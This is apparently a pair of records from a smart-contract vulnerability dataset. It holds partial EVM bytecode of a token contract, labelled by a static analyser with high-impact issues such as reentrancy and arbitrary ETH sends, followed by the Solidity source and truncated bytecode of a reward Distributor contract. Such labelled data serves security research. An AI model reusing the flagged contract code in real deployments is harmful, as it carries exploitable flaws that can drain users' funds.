60200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610aa461173d565b73ffffffffffffffffffffffffffffffffffffffff16610ac261076d565b73ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612078565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7f90612058565b60405180910390fd5b610b9181611745565b50565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610c255750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610c64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5b90612098565b60405180910390fd5b81600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610d4291906120b8565b60405180910390a3600190509392505050565b600860159054906101000a900460ff16158015610dc05750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610e1a5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610e6557506000600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b8015610e7357506001548111155b15610f09576000600754600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ec79190612182565b1015610f08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eff90612038565b60405180910390fd5b5b6000610f143061069c565b90506000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614610f7557600254610f79565b6003545b9050600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561101b57610fda61082e565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600860149054906101000a900460ff168015611038575060015482115b80156110515750600860159054906101000a900460ff16155b80156110ab5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156110f4576001600860156101000a81548160ff0219169083151502179055506110d482611809565b6000600860156101000a81548160ff0219169083151502179055506111f2565b6000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411801561118257506000600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156111f15782905080600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111d99190612182565b925050819055506111ea838561184a565b5050611738565b5b600154831180156112515750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112ab5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561138d576000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156113415782600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611386565b82600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050611738565b600080600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414801561141c57506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b80156114285750600082115b80156114415750600860159054906101000a900460ff16155b90506000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156114f957600154600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b85600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081156116225760045460648487611551919061237a565b61155b91906121d8565b61156591906121d8565b9250828561157391906123d4565b945082600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546115c491906123d4565b9250508190555082600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461161a9190612182565b925050819055505b84600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461167191906123d4565b9250508190555084600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546116c79190612182565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8760405161172b91906120b8565b60405180910390a3505050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600060028261181891906121d8565b90506000479050611829823061184a565b6000814761183791906123d4565b9050611844838230611aaa565b50505050565b6000600267ffffffffffffffff811115611867576118666125c6565b5b6040519080825280602002602001820160405280156118955781602001602082028036833780820191505090505b50905030816000815181106118ad576118ac612597565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561194f57600080fd5b505afa158015611963573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119879190611c26565b8160018151811061199b5761199a612597565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a0230600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610bba565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601442611a539190612182565b6040518663ffffffff1660e01b8152600401611a739594939291906120d3565b600060405180830381600087803b158015611a8d57600080fd5b505af1158015611aa1573d6000803e3d6000fd5b50505050505050565b611ad730600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610bba565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087601442611b2a9190612182565b6040518863ffffffff1660e01b8152600401611b4b96959493929190611f7f565b6060604051808303818588803b158015611b6457600080fd5b505af1158015611b78573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611b9d9190611d53565b505050505050565b600081359050611bb48161272e565b92915050565b600081519050611bc98161272e565b92915050565b600081359050611bde81612745565b92915050565b600081519050611bf381612745565b92915050565b600060208284031215611c0f57611c0e6125f5565b5b6000611c1d84828501611ba5565b91505092915050565b600060208284031215611c3c57611c3b6125f5565b5b6000611c4a84828501611bba565b91505092915050565b60008060408385031215611c6a57611c696125f5565b5b6000611c7885828601611ba5565b9250506020611c8985828601611ba5565b9150509250929050565b600080600060608486031215611cac57611cab6125f5565b5b6000611cba86828701611ba5565b9350506020611ccb86828701611ba5565b9250506040611cdc86828701611bcf565b9150509250925092565b60008060408385031215611cfd57611cfc6125f5565b5b6000611d0b85828601611ba5565b9250506020611d1c85828601611bcf565b9150509250929050565b600060208284031215611d3c57611d3b6125f5565b5b6000611d4a84828501611bcf565b91505092915050565b600080600060608486031215611d6c57611d6b6125f5565b5b6000611d7a86828701611be4565b9350506020611d8b86828701611be4565b9250506040611d9c86828701611be4565b9150509250925092565b6000611db28383611dbe565b60208301905092915050565b611dc781612408565b82525050565b611dd681612408565b82525050565b6000611de78261213d565b611df18185612160565b9350611dfc8361212d565b8060005b83811015611e2d578151611e148882611da6565b9750611e1f83612153565b925050600181019050611e00565b5085935050505092915050565b611e438161241a565b82525050565b611e528161245d565b82525050565b611e618161246f565b82525050565b6000611e7282612148565b611e7c8185612171565b9350611e8c8185602086016124a5565b611e95816125fa565b840191505092915050565b6000611ead602683612171565b9150611eb882612618565b604082019050919050565b6000611ed0602683612171565b9150611edb82612667565b604082019050919050565b6000611ef3602083612171565b9150611efe826126b6565b602082019050919050565b6000611f16602483612171565b9150611f21826126df565b604082019050919050565b611f3581612446565b82525050565b6000602082019050611f506000830184611dcd565b92915050565b6000604082019050611f6b6000830185611dcd565b611f786020830184611dcd565b9392505050565b600060c082019050611f946000830189611dcd565b611fa16020830188611f2c565b611fae6040830187611e58565b611fbb6060830186611e58565b611fc86080830185611dcd565b611fd560a0830184611f2c565b979650505050505050565b6000602082019050611ff56000830184611e3a565b92915050565b60006020820190506120106000830184611e49565b92915050565b600060208201905081810360008301526120308184611e67565b905092915050565b6000602082019050818103600083015261205181611ea0565b9050919050565b6000602082019050818103600083015261207181611ec3565b9050919050565b6000602082019050818103600083015261209181611ee6565b9050919050565b600060208201905081810360008301526120b181611f09565b9050919050565b60006020820190506120cd6000830184611f2c565b92915050565b600060a0820190506120e86000830188611f2c565b6120f56020830187611e58565b81810360408301526121078186611ddc565b90506121166060830185611dcd565b6121236080830184611f2c565b9695505050505050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061218d82612446565b915061219883612446565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156121cd576121cc61250a565b5b828201905092915050565b60006121e382612446565b91506121ee83612446565b9250826121fe576121fd612539565b5b828204905092915050565b6000808291508390505b60018511156122535780860481111561222f5761222e61250a565b5b600185161561223e5780820291505b808102905061224c8561260b565b9450612213565b94509492505050565b600061226782612446565b915061227283612450565b925061229f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846122a7565b905092915050565b6000826122b75760019050612373565b816122c55760009050612373565b81600181146122db57600281146122e557612314565b6001915050612373565b60ff8411156122f7576122f661250a565b5b8360020a91508482111561230e5761230d61250a565b5b50612373565b5060208310610133831016604e8410600b84101617156123495782820a9050838111156123445761234361250a565b5b612373565b6123568484846001612209565b9250905081840481111561236d5761236c61250a565b5b81810290505b9392505050565b600061238582612446565b915061239083612446565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156123c9576123c861250a565b5b828202905092915050565b60006123df82612446565b91506123ea83612446565b9250828210156123fd576123fc61250a565b5b828203905092915050565b600061241382612426565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061246882612481565b9050919050565b600061247a82612446565b9050919050565b600061248c82612493565b9050919050565b600061249e82612426565b9050919050565b60005b838110156124c35780820151818401526020810190506124a8565b838111156124d2576000848401525b50505050565b600060028204905060018216806124f057607f821691505b6020821081141561250457612503612568565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f5472616e7366657220616d6f756e742065786365656473206d6178696d756d2060008201527f616d6f756e740000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61273781612408565b811461274257600080fd5b50565b61274e81612446565b811461275957600080fd5b5056fea2646970667358221220bb33d081896edefc61c57d6761bae6b1ec52353f6277ab782a7d16aa47add70364736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
10,404
0x0f3bf0b56e37d6a344bf2ae1d977a356d1833522
/** *Submitted for verification at Etherscan.io on 2021-08-12 */ /** *Submitted for verification at Etherscan.io on 2021-06-21 */ /** *Submitted for verification at Etherscan.io on 2021-06-09 */ /** *Submitted for verification at Etherscan.io on 2021-06-07 */ // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transfer.selector, to, value) ); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, value) ); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).add( value ); _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).sub( value, "SafeERC20: decreased allowance below zero" ); _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall( data, "SafeERC20: low-level call failed" ); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require( abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed" ); } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrrt(uint256 a) internal pure returns (uint256 c) { if (a > 3) { c = a; uint256 b = add(div(a, 2), 1); while (b < c) { c = b; b = div(add(div(a, b), b), 2); } } else if (a != 0) { c = 1; } } function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) { return div(mul(total_, percentage_), 1000); } function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) { return sub(total_, div(mul(total_, percentageToSub_), 1000)); } function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) { return div(mul(part_, 100), total_); } function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2); } function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) { return sqrrt(mul(multiplier_, payment_)); } function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) { return mul(multiplier_, supply_); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: value}( data ); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}( data ); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns (string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = "0"; _addr[1] = "x"; for (uint256 i = 0; i < 20; i++) { _addr[2 + i * 2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3 + i * 2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } interface IPolicy { function policy() external view returns (address); function renouncePolicy() external; function pushPolicy(address newPolicy_) external; function pullPolicy() external; } contract Policy is IPolicy { address internal _policy; address internal _newPolicy; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { _policy = msg.sender; emit OwnershipTransferred(address(0), _policy); } function policy() public view override returns (address) { return _policy; } modifier onlyPolicy() { require(_policy == msg.sender, "Ownable: caller is not the owner"); _; } function renouncePolicy() public virtual override onlyPolicy { emit OwnershipTransferred(_policy, address(0)); _policy = address(0); } function pushPolicy(address newPolicy_) public virtual override onlyPolicy { require( newPolicy_ != address(0), "Ownable: new owner is the zero address" ); _newPolicy = newPolicy_; } function pullPolicy() public virtual override { require(msg.sender == _newPolicy); emit OwnershipTransferred(_policy, _newPolicy); _policy = _newPolicy; } } interface ITreasury { function mintRewards(address _recipient, uint256 _amount) external; } contract Distributor is Policy { using SafeMath for uint256; using SafeERC20 for IERC20; /* ====== VARIABLES ====== */ address public immutable ASG; address public immutable treasury; uint256 public immutable epochLength; uint256 public nextEpochBlock; mapping(uint256 => Adjust) public adjustments; /* ====== STRUCTS ====== */ struct Info { uint256 rate; // in ten-thousandths ( 5000 = 0.5% ) address recipient; } Info[] public info; struct Adjust { bool add; uint256 rate; uint256 target; } /* ====== CONSTRUCTOR ====== */ constructor( address _treasury, address _asg, uint256 _epochLength, uint256 _nextEpochBlock ) { require(_treasury != address(0)); treasury = _treasury; require(_asg != address(0)); ASG = _asg; epochLength = _epochLength; nextEpochBlock = _nextEpochBlock; } /* ====== PUBLIC FUNCTIONS ====== */ /** @notice send epoch reward to staking contract */ function distribute() external returns (bool) { if (nextEpochBlock <= block.number) { nextEpochBlock = nextEpochBlock.add(epochLength); // set next epoch block // distribute rewards to each recipient for (uint256 i = 0; i < info.length; i++) { if (info[i].rate > 0) { ITreasury(treasury).mintRewards( // mint and send from treasury info[i].recipient, nextRewardAt(info[i].rate) ); adjust(i); // check for adjustment } } return true; } else { return false; } } /* ====== INTERNAL FUNCTIONS ====== */ /** @notice increment reward rate for collector */ function adjust(uint256 _index) internal { Adjust memory adjustment = adjustments[_index]; if (adjustment.rate != 0) { if (adjustment.add) { // if rate should increase info[_index].rate = info[_index].rate.add(adjustment.rate); // raise rate if (info[_index].rate >= adjustment.target) { // if target met adjustments[_index].rate = 0; // turn off adjustment } } else { // if rate should decrease info[_index].rate = info[_index].rate.sub(adjustment.rate); // lower rate if (info[_index].rate <= adjustment.target) { // if target met adjustments[_index].rate = 0; // turn off adjustment } } } } /* ====== VIEW FUNCTIONS ====== */ /** @notice view function for next reward at given rate @param _rate uint @return uint */ function nextRewardAt(uint256 _rate) public view returns (uint256) { return IERC20(ASG).totalSupply().mul(_rate).div(1000000); } /** @notice view function for next reward for specified address @param _recipient address @return uint */ function nextRewardFor(address _recipient) public view returns (uint256) { uint256 reward; for (uint256 i = 0; i < info.length; i++) { if (info[i].recipient == _recipient) { reward = nextRewardAt(info[i].rate); } } return reward; } /* ====== POLICY FUNCTIONS ====== */ /** @notice adds recipient for distributions @param _recipient address @param _rewardRate uint */ function addRecipient(address _recipient, uint256 _rewardRate) external onlyPolicy { require(_recipient != address(0)); info.push(Info({recipient: _recipient, rate: _rewardRate})); } /** @notice removes recipient for distributions @param _index uint @param _recipient address */ function removeRecipient(uint256 _index, address _recipient) external onlyPolicy { require(_recipient == info[_index].recipient); info[_index].recipient = address(0); info[_index].rate = 0; } /** @notice set adjustment info for a collector's reward rate @param _index uint @param _add bool @param _rate uint @param _target uint */ function setAdjustment( uint256 _index, bool _add, uint256 _rate, uint256 _target ) external onlyPolicy { adjustments[_index] = Adjust({add: _add, rate: _rate, target: _target}); } }
0x608060405234801561001057600080fd5b50600436106100ff5760003560e01c806361d027b311610097578063c9fa8b2a11610066578063c9fa8b2a1461038b578063e4fc6b6d146103cd578063f7982243146103ed578063fe3fbbad1461043b576100ff565b806361d027b3146102b7578063a15ad077146102eb578063a4b239801461032f578063bc3b2b1214610339576100ff565b806336d33f44116100d357806336d33f44146101e957806357d775f8146102415780635beede081461025f5780635db854b014610269576100ff565b8062640c2e146101045780630505c8c9146101225780631405ce27146101565780632e3405991461018a575b600080fd5b61010c610489565b6040518082815260200191505060405180910390f35b61012a61048f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61015e6104b8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101b6600480360360208110156101a057600080fd5b81019080803590602001909291905050506104dc565b604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390f35b61022b600480360360208110156101ff57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610530565b6040518082815260200191505060405180910390f35b6102496105f6565b6040518082815260200191505060405180910390f35b61026761061a565b005b6102b56004803603608081101561027f57600080fd5b81019080803590602001909291908035151590602001909291908035906020019092919080359060200190929190505050610774565b005b6102bf6108a2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c6565b005b610337610a51565b005b6103656004803603602081101561034f57600080fd5b8101908080359060200190929190505050610bd0565b604051808415158152602001838152602001828152602001935050505060405180910390f35b6103b7600480360360208110156103a157600080fd5b8101908080359060200190929190505050610c07565b6040518082815260200191505060405180910390f35b6103d5610cd8565b60405180821515815260200191505060405180910390f35b6104396004803603604081101561040357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e8b565b005b6104876004803603604081101561045157600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611033565b005b60025481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f0000000000000000000000000dc5189ec8cde5732a01f0f592e927b30437055181565b600481815481106104ec57600080fd5b90600052602060002090600202016000915090508060000154908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082565b60008060005b6004805490508110156105ec578373ffffffffffffffffffffffffffffffffffffffff166004828154811061056757fe5b906000526020600020906002020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156105df576105dc600482815481106105c557fe5b906000526020600020906002020160000154610c07565b91505b8080600101915050610536565b5080915050919050565b7f000000000000000000000000000000000000000000000000000000000000089881565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461067457600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610835576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60405180606001604052808415158152602001838152602001828152506003600086815260200190815260200160002060008201518160000160006101000a81548160ff021916908315150217905550602082015181600101556040820151816002015590505050505050565b7f0000000000000000000000009d5818af130705f95444d78a55b4f3d85cbfcc1381565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610987576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610a0d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116ee6026913960400191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b12576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffff